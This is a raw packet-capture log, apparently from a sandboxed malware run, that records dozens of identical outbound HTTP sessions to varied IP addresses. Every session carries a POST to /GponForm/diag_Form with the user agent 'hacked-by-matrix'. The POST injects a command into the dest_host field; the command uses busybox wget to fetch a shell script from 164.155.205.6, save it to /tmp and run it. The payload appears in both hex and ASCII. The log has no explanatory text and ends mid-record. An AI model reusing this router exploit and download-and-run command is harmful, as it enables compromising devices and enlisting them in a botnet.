Mar 2, 2024 12:37:28.967855930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.23	41536	5.174.102.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967890978 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.23	48074	79.238.186.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967917919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.23	35564	118.113.251.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967924118 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.23	35992	79.140.142.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967941999 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.23	56146	42.139.168.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967972994 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.23	47680	109.91.113.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967986107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.23	38194	118.159.88.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967997074 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.23	59568	118.135.17.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968019009 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.23	48858	2.151.155.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968019009 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.23	37178	94.81.109.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968067884 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.23	48014	94.86.179.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968074083 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.23	33192	79.79.188.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968105078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.23	54210	37.92.113.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968127966 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.23	40236	178.223.124.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968131065 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.23	47100	178.63.21.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968194962 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.23	60672	2.51.222.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968210936 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.23	45354	42.81.104.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968215942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.23	55860	42.190.224.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968230963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.23	33142	178.94.175.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968236923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.23	49484	109.95.74.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968290091 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.23	33056	2.46.235.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968322992 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.23	46206	118.31.39.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968328953 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.23	47626	37.59.111.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.968369007 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.23	45672	2.102.86.59	443

Timestamp	Bytes transferred	Direction	Data
